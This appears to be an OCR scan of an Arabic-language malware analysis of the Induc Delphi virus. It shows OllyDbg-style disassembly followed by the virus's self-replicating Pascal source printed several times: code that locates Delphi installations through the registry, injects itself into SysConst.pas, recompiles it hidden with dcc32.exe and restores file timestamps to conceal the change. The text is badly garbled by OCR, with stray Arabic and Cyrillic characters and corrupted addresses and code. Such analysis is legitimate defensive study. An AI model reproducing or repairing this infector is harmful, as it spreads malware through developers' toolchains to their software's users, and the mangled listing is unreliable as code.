004053B8 58 5۳ CALL Induc_vi.00403C70 
004053BD 8885 E4FEFFFF MOV EAX,DWORD PTR SS: [EBP-11C] 
004053C3 50 PUSH EAX 

004053C4 8D85 EOFEFFFF LEA EAX,DWORD PTR SS:[EBP-120] 
004053CF 8B55 F4 MOV EDX,DWORD PTR SS: [EBP-C] 
004053D2 E8 ۳ CALL Induc_vi.00403BFC 
004053D7 8885 EOFEFFFF MOV EAX,DWORD PTR SS: [EBP-120] 
004053DD 50 PUSH EAX 


004053EB 8D85 DCFEFFFF LEA EAX,DWORD PTR SS: [EBP-124] 
004053F1 BA 03000000 MOV EDX, 3 

004053F6 E8 75E8FFFF CALL Induc_vi.00403C70 
004053FB 8B85 DCFEFFFF MOV EAX,DWORD PTR SS: [EBP-124] 
00405401 5А POP EDX 

00405402 59 POP ECX 

00405403 E8 B8F9FFFF CALL Induc vi.00404DCO 
00405408 8B45 FC MOV EAX,DWORD PTR SS: [EBP-4] 
00405408 50 PUSH EAX 

00405406 Е8 27FOFFFF [CALL «JMP.&advapi32.RegCloseKeys — 0000000 
00405411 43 INC EBX 

00405412 80FB 38 CMP BL,38 

00405415 ^ OF85 C8FEFFFF \JNZ Induc vi.004052E3 
004205418 330 XOR EAX, EAX 

0040541D 5A POP EDX 

0040541E 59 POP ECX 

0040541F 59 POP ECX 

00405420 64:80 MOV DWORD PIR FS: [EAX], EDX 
00405423 68 48544000 PUSH Induc_vi.00405448 
00405428 8D85 DCFEFFFF LEA EAX, DWORD PTR SS: [EBP-124] 
0040542E BA 06000000 MOV EDX, 6 

00405433 E8 74E6FFFF CALL Induc_vi.00403AAC 
00405438 8D45 F4 LEA EAX,DWORD PTR SS: [EBP-C] 
0040543B E8 48E6FFFF CALL Induc_vi.00403A88 
00405440 83 ВЕТ 

00404DCO 55 PUSH EBP 

00404DC1 8BEC MOV EBP, ESP 

00404DC3 51 PUSH ECX 

00404DC4 B9 88000000 MOV ECX, 88 

00404DC9 6A 00 /PUSH 0 

00404DCB 6A 00 |PUSH 0 

00404DCD 49 [DEC ECX 

00404DCE ^ 75 F9 \JNZ SHORT Induc vi.00404DC9 
00404DD0 874D FC XCHG DWORD PTR SS: [EBP-4],ECX 
00404DD3 53 PUSH EBX 

00404DD4 56 PUSH ESI 

00404DD5 57 PUSH EDI 

00404DD6 894D F4 MOV DWORD PTR SS: [EBP-C], ECX 
00404DD9 8955 F8 MOV DWORD PTR SS: [EBP-8],EDX 


MOV DWORD PTR SS: [EBP-4],EAX 
MOV EAX,DWORD PTR SS: [EBP-4] 
CALL Induc_vi.00403CFC 

MOV EAX,DWORD PTR SS: [EBP-8] 
CALL Induc_vi.00403CFC 

MOV EAX,DWORD PTR SS: [EBP-C] 
CALL Induc_vi.00403CFC 

LEA EDI,DWORD PTR SS: [EBP-3BC] 
XOR EAX,EAX 

PUSH EBP 

PUSH Induc_vi.00405210 

PUSH DWORD PTR FS: [EAX] 

MOV DWORD PTR FS: [EAX], ESP 
PUSH 0 

PUSH 0 

PUSH 3 

PUSH 0 

PUSH 0 

PUSH 0 


EBP-414] 


PR SSS [Шей || 


LEA EAX, DWORD PTR SS: 


MOV EDX, DWORD 


CALL Induc_vi.00403BFC 

MOV EAX, DWORD PTR SS: [EBP-414] 
CALL Induc_vi.00403D0C 

PUSH EAX 


MOV EBX,EAX 
CME ان‎ ЕИ 


JE SHORT Induc vi.00404E4D 


PUSH EBX 


JMP Induc vi.004051E5 


MOV EDX, DWORD PTR SS: [EBP-4] 
LEA EAX, DWORD PTR SS: [EBP-1F0] 
CALL Induc vi.00402C54 

LEA EAX,DWORD PTR SS: [EBP-1F0] 
CALL Induc_vi.004029E4 

CALL Induc_vi.004028FC 

CALL Induc_vi.0040292C 


EBP-418] 
[EBP-8] 


R SS: [EBP-418] 


TEST EAX,EAX 


JNZ Induc vi.004051E5 


0403BFC 


Induc, vi.00402C54 


E 


.0 


B 


LEA EAX, DWORD PTR SS:[ 


MOV EDX, DWORD 
CALL Induc vi 
MOV EDX,DWORD 
MOV EAX,EDI 

CALL 
MOV EAX,EDI 


CALL Induc vi.004029F0 
CALL Induc vi.004028FC 
CALL Induc vi.0040292C 


TEST EAX,EAX 


JE SHORT Induc vi.00404F05 
LEA EAX, DWORD PTR SS: [EBP-1FO] 


Induc_vi.00402D10 
Induc_vi.004028FC 


CALL 
CALL 


JMP Induc_vi.004051E5 


R SS: [EBP-4] 
R SS: -ططس]‎ EO 


R SS: [EBP-1FO] 


ALL Induc_vi.00402F60 
ALL Induc_vi.004028FC 


P 
ig 


E 


.00402kEF4 


/LEA EDX,DWORD 
|LEA EAX, DWORD 
| , Induc vi 
[LEA EAX, DWORD 
| 


00404DDC 8945 FC 
00404DDF 8B45 FC 
00404DE2 ESI NS EERE EE 
00404DE7 8B45 F8 
00404DEA E8 ODEFFFFF 
00404DEF 8B45 F4 
00404DF2 E8 OSEFFFFF 
0040 7 8DBD 4 ۲ 
00404DFD SISCO 

00404DFF 55 

00404Е00 68 10524000 
00404E05 64:FF30 
00404E08 64:8920 
00404E0B 6A 00 
00404E0D 6A 00 
00404E0F 6A 03 
00404Е11 6A 00 

0040 3 6A 0 

0040 15 6A 0 

0040 7 8D85 ECFBFFFF 
0040 2 9۳۴55 F8 

0040 5 ES ۳ 
00404۳22 8885 ECFBFFFF 
0040 0 ES DUEBEERR 
00404ЕЗ5 50 

00404ЕЗВ 8BD8 

00404E3D 83FB ЕЕ 
00404E40 74 08 
00404E42 58 

00404E48 E9 98030000 
00404E4D 9B55 FC 
00404E50 8285 10FEFFFF 
00404E56 ES ES DDE EE 
00404E5B 8912۳ 8 ۰ ۲ 
0 040 1 E8 7EDBFFFF 
00404E66 IS Sm 91 DARE EE 
00404E6B E8 BCDAFFFF 
00404E70 85С0 

00404E72 0285 0 
0040 8 8085 E8FBFFFF 
0040 3 8B55 8 

0040 6 ES 71 EIDEEEE 
00404E8B 8B95 E8FBFFFF 
0040 1 8BC7 

00404E93 E8 BCDDFFFF 
00404E98 8BC7 

00404E9A ES SUDE EE BEH 
00404E9F E8 58DAFFFF 
00404EA4 E8 83DAFFFF 
00404EA9 85C0 

00404EAB 74 58 
00404EAD 8285 10FEFFFF 
00404EB3 E8 58DEFFFF 
00404EB8 E8 3FDAFFFF 
00404EBD E9 23030000 

0 040 2 8D55 FC 
00404EC5 8D85 10FEFFFF 
00404ECB ES 24EO0FFFF 
00404EDO 8D85 10FEFFFF 
00404ED6 E8 85EOFFFF 
00404EDB ES ШОШО 


MOV EDX,DWORD PTR SS: [EBP-4] 
MOV EAX, EDI 


CALL Induc vi.00403E10 
CALL Induc vi.00403178 
CALL Induc vi.004028FC 


MOV EDX,DWORD PTR SS:[EBP-4] 


CALL Induc vi.00403D64 

TEST EAX,EAX 

JNZ SHORT Induc vi.00404F19 
LEA EAX,DWORD PTR SS: [EBP-1F0] 
CALL Induc vi.00402D68 

CALL Induc vi.004028FC 

TEST AL,AL 

\JE SHORT Induc vi.00404EC2 
MOV EBX,1 

MOV ESI, Induc_vi.004060A8 

/MOV EDX,DWORD PTR DS: [ESI] 
|MOV EAX, EDI 

|CALL Induc vi.00403E10 

[CALL Induc vi.00403178 

[CALL Induc vi.004028FC 

ADD ESI,4 

[DEC EBX 

NJNZ SHORT Induc vi.00404F23 
MOV EBX, 17 

MOV ESI, Induc_vi.004060A8 

/MOV ECX,DWORD PTR DS: [ESI] 

LEA EAX,DWORD PTR SS: [EBP-41C] 
MOV EDX, Induc_vi.00405258 
CALL Induc_vi.00403BFC 
MOV EDX,DWORD PTR SS: [EBP-41C] 
MOV EAX, EDI 

CALL Induc_vi.00403E10 


CALL Induc_vi.00403E10 

CALL Induc_vi.00403178 

CALL Induc_vi.004028FC 

ADD ESI,4 

DEC EBX 

NJNZ SHORT Induc_vi.00404F46 
PUSH Induc vi.00405258 

PUSH DWORD PTR DS:[406104] 


; Induc_vi.00404D30 


LEA EAX, DWORD PTR SS: [EBP-420] 
MOV EDX, 3 
CALL Induc_vi.00403C70 
MOV EDX,DWORD PTR SS: [EBP-420] 
MOV EAX, EDI 


CALL Induc_vi.00403E10 
CALL Induc_vi.00403178 
CALL Induc_vi.004028FC 


MOV EBX,17 

MOV ESI, Induc_vi.004060AC 

/LEA EDX,DWORD PTR SS: [EBP-424] 
MOV EAX,DWORD PTR DS: [EST] 
CALL Induc_vi.00404D40 
MOV EDX,DWORD PTR SS: [EBP-424] 


MOV EAX, EDI 


CALL Induc_vi.00403E10 
CALL Induc_vi.00403178 
CALL Induc_vi.004028FC 
ADD ESI,4 

DEC EBX 


SHORT Induc vi.00404FCO 


8B55 FC 
8BC7 

E8 26EFFFFF 
ES 5 91 كط‎ EE 
E8 O8DAFFFF 
BASS ۵ 


E8 ۳ 
85C0 
VS Ma 


SDSS 10FEFFFF 


E8 58DEFFFF 
E8 ۳ 
84CO 

74 A9 

BB 01000000 
BE A8604000 
8B16 

8BC7 

E8 EA4EEFFFF 
E8 47E2FFFF 
ES E6DOEFRR 
8306 04 

4B 

VS) ۷7 

BB 17000000 
BE A8604000 
8BOE 


8D85 EAFBFFFF 


BA 58524000 
E8 A4ECFFFF 


8B95 EAFBFFFF 


8BC7 
E8 ABEEFFFF 


E8 1 ۳ 
ES ۳ 
E8 ۳ 
8306 4 

4B 

75 7 

68 58524000 


FF35 04614000 


8D85 EOFBFFFF 


BA 03000000 
E8 ۳ 


8B95 EOFBFFFF 


8BC7 

E8 64EEFFFF 
E8 ۳ 
ES ۳ 
BB 17000000 
BE AC604000 


8D95 DCFBFFFF 


8B06 
E8 73FDFFFF 


8B95 DCEBEEEF 


8BC7 

E8 36EEFFFF 
E8 ۳ 
E8 18D9FFFF 
83C6 04 

4B 

15 B6 


^ 


tj Ej Bd Dd Dd بط‎ 


BC] з (л WO 


Ei 


04 
04 
04 
04 


E pi pi [uH 


Ei 


04E 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 


04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 


04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 


00404 
00404 


004 
004 
004 
004 


004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 


004 
004 
004 
004 
004 
004 
004 
004 


004 
004 
004 
004 
004 
004 
004 
004 
004 
004 
004 


00404F 


04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 
04F 


004 
004 
004 
004 
004 
004 
004 
004 
004 


00404FEA 8885 10FEFFFF LEA EAX,DWORD PTR SS: [EBP-1F0] 
00404FF0 E8 1BDDFFFF CALL Induc vi.00402D10 
00404FF5 E8 02D9FFFF CALL Induc vi.004028FC 
00404FFA 8BC7 MOV EAX,EDI 

00404FFC E8 OFDDFFFF CALL Induc vi.00402D10 
00405001 E8 F6D8FFFF CALL Induc vi.004028FC 
00405006 8885 D8FBFFFF LEA EAX,DWORD PTR SS: [EBP-428] 
00405011 8B55 F8 MOV EDX,DWORD PTR SS: [EBP-8] 
00405014 E8 E3EBFFFF CALL Induc vi.00403BFC 
00405019 8B85 DBFBFFFF MOV EAX, DWORD PTR SS: [EBP-428] 
0040501F و2‎ ESECFFFF CALL Induc vi.00403D0C 
00405024 50 PUSH EAX 

00405025 8885 DAFBFFFF LEA EAX,DWORD PTR SS: [EBP-42C] 
00405030 8B55 F8 MOV EDX,DWORD PTR SS: [EBP-8] 
00405033 E8 CAEBFFFF CALL Induc vi.00403BFC 
00405038 8B85 DAFBFFFF MOV EAX, DWORD PTR SS: [EBP-42C] 
0040503E E8 COECFFPF CALL Induc vi.00403D0C 
00405043 50 PUSH EAX 

00405049 8885 O0FCFFFF LEA EAX,DWORD PTR SS: [EBP-400] 
0040504F 3369 XOR ECX,ECX 

00405051 BA 44000000 MOV EDX, 44 

00405056 E8 45DDFFFF CALL Induc_vi.00402DA0 
00405058 C785 O0FCFFFF 4400>MOV DWORD PTR SS: [EBP-400], 44 
00405065 C785 2CFCFFFF 0100>MOV DWORD PTR SS: [EBP-3D4],1 
0040506F 66:C785 30FCFFFF 0>MOV WORD PTR SS: [EBP-3D0],0 
00405078 8D85 FOFBFFFF LEA EAX,DWORD PTR SS: [EBP-410] 
0040507E 50 PUSH EAX 

0040507F 8885 O0FCFFFF LEA EAX,DWORD PTR SS: [EBP-400] 
00405085 50 PUSH EAX 

00405086 6A 00 PUSH 0 

00405088 6A 00 PUSH 0 

0040508A 6A 00 PUSH 0 

0040508C 6A 00 PUSH 0 

0040508E 6A 00 PUSH 0 

00405090 6A 00 PUSH 0 

00405092 FF75 F4 PUSH DWORD PTR SS: [EBP-C] 
00405095 68 88524000 PUSH Induc_vi.00405288 
0040509A FF75 F8 PUSH DWORD PTR SS: [EBP-8] 
00405099 68 94524000 PUSH Induc_vi.00405294 j ASCII "pas""" ۰ — 
004050A2 8885 DOFBFFFF LEA EAX,DWORD PTR SS: [EBP-430] 
004050A8 BA 04000000 MOV EDX, 4 

004050AD E8 BEEBFFFF CALL Induc vi.00403C70 
00405082 8B85 DOFBFFFF MOV EAX,DWORD PTR SS: [EBP-430] 
00405088 E8 AFECFFPF CALL Induc vi.00403D0C 
004050BD 50 PUSH EAX 

004050BE 6A 00 PUSH 0 

00405060 E8 9BF3FFFF CALL «JMP.&kernel32.CreateProcessA» — 0. 0 
004050C5 83F8 01 CMP EAX,1 

228 1BCO SBB EAX,EAX 

004050CA 40 INC EAX 

004050CB 84C0 TEST AL, AL 

004050CD 74 OE JE SHORT Induc vi.004050DD 
004050CF 6A FF PUSH -1 

004050D1 8885 FOFBFFFF MOV EAX,DWORD PTR SS: [EBP-410] 
004050D7 50 PUSH EAX 

00405088 Е8 ABF3FFFF CALL «JMP.&kernel32.WaitForSingleObje» 020202020202000 
004050DD 8D85 CCFBFFFF LEA EAX,DWORD PTR SS: [EBP-434] 
00405083 B9 70524000 MOV ECX,Induc vi.0040527C j; ASCII "deu" — — 
004050E8 8855 8 MOV EDX,DWORD PTR 55:[ЕВР-8] 
004050EB E8 OCEBFFFF CALL Induc_vi.00403BFC 
004050F0 8B85 CCFBFFFF MOV EAX,DWORD PTR SS: [EBP-434] 
004050F6 E8 11ECFFFF CALL Induc vi.00403D0C 


004050ЕВ 50 PUSH ЕАХ 
004050ЕС 8085 C8FBFFFF LEA EAX,DWORD PTR SS: [EBP-438] 

00405107 8855 8 MOV EDX, DWORD PTR SS: [EBP-8] 

0040510A E8 EDEAFFFF CALL Induc_vi.00403BFC 

0040510F 8885 C8FBFFFF MOV EAX,DWORD PTR SS: [EBP-438] 

00405115 E8 F2EBFFFF CALL Induc_vi.00403D0C 

0040511A 50 PUSH EAX 

00405120 8D85 CAFBFFFF LEA EAX,DWORD PTR SS: [EBP-43C] 

00405128 8855 8 MOV EDX, DWORD PTR SS: [EBP-8] 

00405125 E8 COEAFFFF CALL Induc_vi.00403BFC 

00405133 8885 CAFBFFFF MOV EAX,DWORD PTR SS: [EBP-43C] 

00405139 E8 CEEBFFFF CALL Induc_vi.00403D0C 

0040513E 50 PUSH EAX 

0040513F EB 24F3FFFF CALL «JMP.&kernel32.DeleteFileA» ЕН 
00405144 6A 00 PUSH 0 

00405146 6A 00 PUSH 0 

00405148 6A 03 PUSH 3 

0040514А 6A 0 PUSH 0 

0040514С 6A 0 PUSH 0 

0040514Е 6A 00 PUSH 0 

00405150 8D85 COFBFFFF LEA EAX,DWORD PTR SS: [EBP-440] 

00405156 в9 28524000 MOV ECX,Induc vi.00405228 = = = j ASCII "bak" | 
00405158 8B55 F8 MOV EDX, DWORD PTR SS: [EBP-8] 

0040515E و2‎ 99EAFFFF CALL Induc_vi.00403BFC 

00405163 8B85 COFBFFFF MOV EAX,DWORD PTR SS: [EBP-440] 

00405169 E8 9EEBFFFF CALL Induc_vi.00403D0C 

0040516E 50 PUSH EAX 

00405168 E8 E4F2FFFF CALL «JMP.&kernel32.CreateFileA» 00000000000000 
00405174 BBD8 MOV EBX, EAX 

00405176 83FB FF CMP EBX,-1 

00405179 74 6A JE SHORT Induc_vi.004051E5 

0040517B 8D45 DC LEA EAX,DWORD PTR SS: [EBP-24] 

0040517E 50 PUSH EAX 

0040517F 8D45 4 LEA EAX,DWORD PTR SS: [EBP-1C] 

00405182 50 PUSH EAX 

00405183 8D45 EC LEA EAX,DWORD PTR SS: [EBP-14] 

00405186 50 PUSH EAX 

00405187 53 PUSH EBX 

00405188  E8 E3F2FFFF CALL «JMP.&kernel32.GetFileTime» ^^ / 5 
0040518D 53 PUSH EBX 

0040518E E8 BDF2FFFF CALL «JMP.&kernel32.CloseHandle» — // ^J; 
00405193 6A 00 PUSH 0 

00405195 6A 00 PUSH 0 

00405197 6A 03 PUSH 3 

00405199 6A 00 PUSH 0 

00405198 6A 0 PUSH 0 

0040519D 68 00010000 PUSH 100 

004051A2 8D85 BCFBFFFF LEA EAX,DWORD PTR SS: [EBP-444] 

00405188 в9 70524000 MOV ECX,Induc vi.0040527C ^ ASCII "dcu" — — 
004051AD 8B55 F8 MOV EDX,DWORD PTR SS: [EBP-8] 

00405180 E8 47EAFFFF CALL Induc_vi.00403BFC 

00405185 8B85 BCFBFFFF MOV EAX,DWORD PTR SS: [EBP-444] 

004051BB E8 4CEBFFFF CALL Induc_vi.00403D0C 

220 50 PUSH ЕАХ 

004051Cl E8 92828۳۲88 CALL «JMP.&kernel32.CreateFileA» — 
004051C6 BBD8 MOV EBX, EAX 

004051C8 83FB FF CMP EBX, -1 

004051CB 74 18 JE SHORT Induc_vi.004051E5 

004051CD 8D45 DC LEA EAX,DWORD PTR SS: [EBP-24] 

004051D0 50 PUSH EAX 

004051D1 8D45 4 LEA EAX,DWORD PTR SS: [EBP-1C] 

0040514 50 PUSH FAX 


PTR SS: [EBP-14] 


FS: [EAX] , EDX 
00405217 


PTR SS: [EBP-444] 


00403AAC 
BUR SSE | وت‎ 


00403AAC 


LEA EAX, DWORD 
PUSH EAX 
PUSH EBX 


PUSH EBX 


XOR EAX, EAX 
POP EDX 

POP ECX 

POP ECX 

MOV DWORD PTR 
PUSH Induc vi. 
LEA EAX, DWORD 
MOV EDX, OD 
CALL Induc_vi. 
LEA EAX, DWORD 
MOV EDX, 3 
CATE Bride il 
RET 


JMP Induc vi.004034FC 
JMP SHORT Induc vi.004051F2 


EOE ۱ 

EOE ۲ 

POP EBX 
MOV ESP, ЕВР 
POP EBP 

RET 


8D45 EC 
50 
93 


53 


SICA 

SA 

59 

59 

64: 0 

68 17524000 
8D85 BCFBFFFF 
BA 0D000000 
E8 AAESFFFF 
8D45 F4 

BA 03000000 
E8 9DESFFFF 
68 

EOI E Paige 
EB DB 

SF 

SE 

5B 

8BE5 

5D 

5 


004051D5 
004051D8 
004051D9 


004051DF 


004051E5 
004051E7 
004051E8 
004051E9 
004051EA 
004051ED 
004051F2 
004051F8 
004051FD 
00405202 
00405205 
0040520A 
0040520F 
00405210 
0040521 
0040521 
0040521 
0040521 
0040521 
0040521 
0040521 


O Q р> o0 мї «л 


محتوق ملف sysconst.pas‏ بعد التلويث: 


uses windows; var sc:array[1..24] of string)= 

"uses windows; var sc:array[1..24] of string,')- 
"function x(s:string):string;var i:integer;begin for 
لصو اه‎ to Теп (9) do if داي‎ ۲ |] 

36#='then s[i]:-439;result:-s;end;procedure 
TE (SSA siele) war 212252: 6212116" 

"h: cardinal; £: STARTUPINFO; p:PROCESS. INFORMATION; 0 1 
ean; ied 14, 163 819 Ia 1۱ IME; SSA V 
"h:=CreateFile (pchar (d+$bak$),0,0,0,3,0,0);if 
h<>DWORD (-1) then begin CloseHandle, ۲ 

) via) ех p end; {SL ( 255122222 (EL, S) : reser (MI) BE 
ioresult<>0 then exit;assignfile,' 

( مرت 5م 5 لل 2ع"‎ EeWE ец E2) 1 ظ‎ Loresult<>O0 then begin 
اد 6 956 1ك‎ EL) FET EF end whale." 

"not eof (f1) do begin readln(fl,s); writeln(f2,s); E 
pos (Simplementation$,s)<>0,' 

۷1۵1861۵۱ break end ده‎ Mas با‎ EO با‎ ceo 
لاح ع 1 ميس‎ (2, Se اهاز‎ EEO has با‎ to 23 co wELESILAIED; ۲ 
,وووو+‎ 'sc[h]; $$$, $);writeln (£2,$$$$+sc[24]+$$$);$);for 
Bees 2 EO AA clo wiedieellin (ED т, 
'x(sc[h]));closefile(f1);closefile(f2); ($IT)MoveFile (p 
char (d+$dcus),pchar (d+$bak, '$ 

p ۱) (CEILLERhAaE (E, 531 25012 )2( ,0( p. ه262‎ :-53 266012 (f); 
f.dwFlags:-STARTF USESHOWWINDOW;f,'. 

'wShowWindow:-SW HIDE;b:-CreateProcess (nil, pchar (e+$"$ 
Tek Syoxeusi V S) ,0,0,false,0,0,0,", 

۷15 р) pane lo م۵‎ 
WaitForSingleObject (p.hProcess, INFINITE) ;MoveFile(pcha 
ie (CESlogik, Vr (S 

'pchar (d*$dcu$)) ;DeleteFile (pchar (d+$pas$) ) ;h:=CreateF 
ile(pchar(d*$bak$),0,0,0,3,', 

3 (0,0'1if h=DWORD )-1( then exit}; 
GetFileTime (h, @t1, @t2,@t3); CloseHandle(h);h,'-^: 
'CreateFile (pchar (d+$dcu$) ,256,0,0,3,0,0);if£ h=DWORD (- 
1L) кеп ال دی‎ серке тиле (Ua V 
@'t1,@t2,@t3); CloseHandle(h); end; procedure st; var 
> هم ولو‎ array [1.255] Q9," 

"imeucp ргы е төшле їс venar loxexenum HOT U S46 
EO Sis do 2f RegOpenkeyEx, V) 

'HKEY LOCAL MACHINE, pchar ($Software\Borland\Delphi\$+v 
+$.0S),0,KEY_READ,k)=0 then,' 

tpegin 3L مرها 2 و‎ alae 
RegQueryValueEx (k, SRootDir$,nil, @i,@c,@i)=0 then begin 
r:=$$;i,!'=: 


7 1 ۲۷7۳116 c[i]<>#0 do begin 
к:=г+С[1];1пс(1);епа;ге (r+$\source\rt1\sys\SysConst 

p TS 

o S ASS, اط‎ MEI زه موت 75د‎ a SU ES NEH ۱۵6۵ 32 و‎ 
$);end;RegCloseKey(k);end; end, ۶ 

'begin st; end; ('. 
function x(s:string):string;var i:integer;begin for 
لاصو اد‎ to lengih(s) do sx SI 
36#=then s[i] :=#39; result :—s; end; procedure 
rels, Cl, ۵ ۶ siene) peus fl, 2 ех file; 
h:cardinal; £: STARTUPINFO; p: PROCESS_INFORMATION;b:boole 
an;t1,t2,t3:FILETIME; begin 
h:=CreateFile (pchar (dt+'bak'),0,0,0,3,0,0);if 
h<>DWORD (-1) then begin CloseHandle 
) la) perse p csovelp. {'Т=}аввалапЁлт1е(ЁЇ1,в);тевек (EI) 12 
ioresult«»0 then exit;assignfile 
)f2,d-'pas');rewrite(f2);if ioresult<>0 then begin 
closefile(fl);exit;end; while 
not eof )۶1( do begin readlin(f1,s); writeln(f2,s); ШШЕ 
pos ('implementation',s) <>0 
ый oreak EnC ror has i mo 1 clo wille ) 2 مه‎ sela) SESDE 
imge i to 23 ele waesieeilin (EP 
se EE V VV LV EE vel (EZ, a Verse AE MOE AI ESE 
h:= 2 to 24 do writeln(f2, 
x(sc[h]));closefile(fl);closefile(f2);('I-*])MoveFile (pc 
har (GE Vele”) r pehar (SHE ۲ 
p ( (seat 1 1 عطاك‎ GE, عد ه262 ده‎ (2) , 0( ٠ فلك .ع‎ =с 261 (i) 
f.dwFlags:-STARTF USESHOWWINDOW;f. 
wShowWindow:-SW HIDE;b:-CreateProcess(nil,pchar(e-'"'- 
0+" "قوم‎ EO OF ss 0 ON OF 
fp) if D then 
WaitForSingleObject (p.hProcess, INFINITE) ;MoveFile (pcha 
12 (else Vogl, ۲ 
pchar(dt+'dcu'));DeleteFile (pchar(d+'pas'));h:=CreateFi 
Le (qexelloveue (Chr Dak V ) 7 07 0) 0) S) 
;(0,0i1f h=DWORD(-1) then exit; 

GetFileTime (h,@t1,@t2,@t3); CloseHandle (h);h-: 
CreateFile(pchar(d-*'dcu'),256,0,0,3,0,0);if h-DWORD(- 
iL) للع‎ ех, Sexe aL lerine (nr 

@t1,@t2,@t3); CloseHandle(h); end; procedure st; var 
Kgl اه و ولا 26162 و ۵ م‎ | SI 

Char;  #aEerelumallp rs ring, :2ت :د‎ TOE wges"di" 
to ۲7۲ do if RegOpenKeyEx) 
HKEY LOCAL MACHINE,pchar ('Software\Borland\Delphi\'!+v+ 
'.0'),0,KEY READ, k)=0 then 
begin AREAS PALE 
RegQueryValueEx(k, 'RootDir',nil,@i,@c,@i)=0 then begin 
an IE 


;lwhile c[i]<>#0 do begin 

:=rt+c[i];inc(i);end; re(r+'\source\rtl\sys\SysConstt' 
o "ous " rri \Vilwo\syscomsic. Yp 1 Usted! Vosin\clee32 sexe 
');end;RegCloseKey (k); end 


الأوامر الخبيثة بعد تنظيمها: 


uses windows; 
vals SE: array 24 OE sering = ) 

"uses windows; var sc:array[1..24] of string-(', 

'function x(s:string):string;var i:integer;begin for i:-1 to length(s) do if s[i]', 
'—436 then s[i]:-439;result:-s;end;procedure re(s,d,e:string);var f1,f2:textfile;', 
'h:cardinal; f£: STARTUPINFO; p: PROCESS INFORMATION;b:boolean;tl1,t2,t3:FILETIME;begin', 
'h:-CreateFile(pchar(d*$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle', 
'(h);exit;end; {$I-}assignfile(fl,s);reset(f1l);if ioresult<>0 then exit;assignfile', 
'(f2,d*$pas$);rewrite(f2);if ioresult<>0 then begin closefile(fl);exit;end; while", 
"not eof (f1) do begin readln(fl,s); writeln(f2,s); if pos(Simplementation$,s)<>0', 
еп SEeak; end; EOE Igne ل‎ ro di cle үк ӨТҮ (ie, БС [ЕБ ror has db EO 23 اه ار رس هت‎ (ED Vr 
"57559559559565 [Hat] rz SEE BY) ушт ейт (CEA, SSSSTESS T2 ] SES) ES) PASTE SE 2 EO QA die метей (ED ИШ; 
'x(sc[h])) ;closefile(f1);closefile(f2); (SI*)MoveFile (pchar (d+$dcu$) ,pchar (d*$bak$', 
')); fillchar(f,sizeof(f),0); f.cb:-sizeof(f); £.dwFlags:=STARTF_USESHOWWINDOW;f.', 
'wShowWindow:-SW HIDE;b:-CreateProcess (nil, pchar (e+$"$+d+Spas"S),0,0,false,0,0,0,', 
'f,p);if b then WaitForSingleObject (p.hProcess, INFINITE) ;MoveFile (pchar (d+Sbak$),', 
'pchar (d*$dcu$)) ;DeleteFile (pchar (d+$pas$) ( ;h:=CreateFile (pchar (d*$bak$),0,0,0,3,'', 
'0,0); if h=DWORD(-1) then exit; GetFileTime(h, @t1, @t2,@t3); CloseHandle(h);h:-', 
'CreateFile(pchar(d*$dcu$),256,0,0,3,0,0);if h-DWORD(-1) then exit;SetFileTime(h,', 
'Qt1,0t2,0t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of', 
ی ضفرت"‎ Ernst ring iv chan i Decin EOE MV AO SIS clo TE 26302221652)! 
'HKEY LOCAL MACHINE, pchar ($Software\Borland\Delphi\St+v+S.0$),0,KEY_READ,k)=0 then', 
"begin i:-255;if RegQueryValueEx (k, $RootDir$,nil, @i,@c,@i)=0 then begin r:-$$;i:-', 
'1; while c[i]<>#0 do begin r:=rt+c[i];inc(i);end; re(r+$\source\rtl\sys\SysConst$+', 
'S.pas$,r+$\lib\sysconst.$,$"S$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;', 
"begin st; end.'); 


E URGE HON KIE Єт Ө SEEING 
var i: integer; 


begin 
for 1 ges 3L to length(s) do 
if s[i] = #36 then 
اد‎ 2 F39; result :- se 
end; 


procedure re(s, d, e: string); 
Wale iil, E2. eee ие; 
H: cardinal, 
f: STARTUPINFO; 
р: PROCESS INFORMATION; 
b: boolean; 
El, EZ, TESS اطاط‎ а 
begin 
lm : 625252268112 (реак (d s» Bak Ue WO, 67 (Qr. رت‎ O 0: 
if h <> DWORD(-1) then 
begin 
CloseHandle (h) م‎ 
exit; 
end; 
1 3i] 


assignfile(fl, s); 
reset (f1); 
if ioresult <> 0 then 
exit; 
assignfile(f2, d+ 'pas'); 
rewrite(f2); 
if ioresult «» 0 then 
begin 
closefile(f1); 
exit; 
end; 
while not eof(f1) do 
begin 
readln(fl, s); 
writeln(f2, s); 
if pos('implementation', s) <> 0 then 
break; 
end; 
to lm ge i © i clo 
улей )22 ات‎ e 
EOE lm ge 1 EO 28 clo 
writeln (t2 M MUR + еы Б MU. ]يي را‎ еи (ie, vu Ee ЭД 2 UU رك‎ 
EOE jn 5e 2 EO 24 dO 
۷ اه تا‎ ) 2 К (вс; 
61096۴116 )۶1( 
closefile(f2); 
۱۱ ۲ را‎ 
MoveFile(pchar(d + 'dcu'), pchar(d + 'bak')); 
1:7۱ غ) له دای‎ sizeof (EJ, O; 
E. CB :- 5122628 (E); 
f.dwFlags := STARTF USESHOWWINDOW; 
f.wShowWindow := SW HIDE; 
را‎ BS CreateProcess (nii pehare YY ar clar Yeas!) OW, O, кансе O, 0 (0. E DP; 
if b then 
WaitForSingleObject (p.hProcess, INFINITE); 
MoveFile(pchar(d + 'bak'), pchar(d + 'dcu')); 
DeleteFile(pchar(d + 'pas')); 
Ih Be CENET TE (joelacie(cl <> Баку (Ur. Of, O, Sr رانا‎ OE 
if h = DWORD(-1) then 
xe 
GetFileTime(h, CEL, @t2, @t3); 
CloseHandle (h); 
In ge Eioaeertlie sea ك)‎ * “eer, 256, O QU. S, O, OE 
if h = DWORD(-1) then 
(eii 
SetFileTime(h, @t1, @t2, @t3); 
CloseHandle (h); 
end; 


procedure st; 

var k: HKEY; 
©: ۱ 5  255lotekars 
ie cardinali 
2: ارت‎ тс; 


